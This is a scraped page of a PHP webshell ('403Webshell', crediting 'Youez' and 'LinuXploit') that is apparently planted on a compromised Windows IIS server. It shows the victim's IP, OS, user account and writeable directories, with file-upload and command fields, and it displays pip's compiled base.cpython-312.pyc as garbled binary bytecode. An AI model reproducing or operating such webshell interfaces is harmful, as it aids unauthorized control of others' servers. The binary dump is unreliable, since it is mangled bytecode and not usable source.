403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/pip/_internal/distributions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/pip/_internal/distributions/__pycache__/base.cpython-312.pyc
�

�k�f���p�ddlZddlmZmZddlmZddlmZerddlm	Z	Gd�dej��Zy)	�N)�
TYPE_CHECKING�Optional)�BaseDistribution)�InstallRequirement)�
PackageFinderc	���eZdZdZdeddf�fd�Zejdee	fd��Z
ejdefd��Z
ejdd	d
ededdfd��Z�xZS)
�AbstractDistributiona�A base class for handling installable artifacts.

    The requirements for anything installable are as follows:

     - we must be able to determine the requirement name
       (or we can't correctly handle the non-upgrade case).

     - for packages with setup requirements, we must also be able
       to determine their requirements without installing additional
       packages (for the same reason as run-time dependencies)

     - we must be able to create a Distribution object exposing the
       above metadata.

     - if we need to do work in the build tracker, we must be able to generate a unique
       string to identify the requirement in the build tracker.
    �req�returnNc�0��t�|��||_y�N)�super�__init__r
)�selfr
�	__class__s  ��BC:\Python312\Lib\site-packages\pip/_internal/distributions/base.pyrzAbstractDistribution.__init__s���
�������c��t��)z�A string that uniquely identifies this requirement to the build tracker.

        If None, then this dist has no work to do in the build tracker, and
        ``.prepare_distribution_metadata()`` will not be called.��NotImplementedError�rs r�build_tracker_idz%AbstractDistribution.build_tracker_id"s
��"�#�#rc��t��r
rrs r�get_metadata_distributionz.AbstractDistribution.get_metadata_distribution*s��!�#�#r�finderr�build_isolation�check_build_depsc��t��r
r)rrrrs    r�prepare_distribution_metadataz2AbstractDistribution.prepare_distribution_metadata.s
��"�#�#r)�__name__�
__module__�__qualname__�__doc__rr�abc�abstractpropertyr�strr�abstractmethodrr�boolr�
__classcell__)rs@rr	r	s�����$�.��4��	���$�(�3�-�$��$�	���$�+;�$��$�	���$��$��$��	$�

�$��$rr	)�	metaclass)r$�typingrr�pip._internal.metadata.baser�pip._internal.reqr�"pip._internal.index.package_finderr�ABCMetar	�rr�<module>r1s'��
�*�8�0��@�*$�S�[�[�*$r

Youez - 2016 - github.com/yon3zu
LinuXploit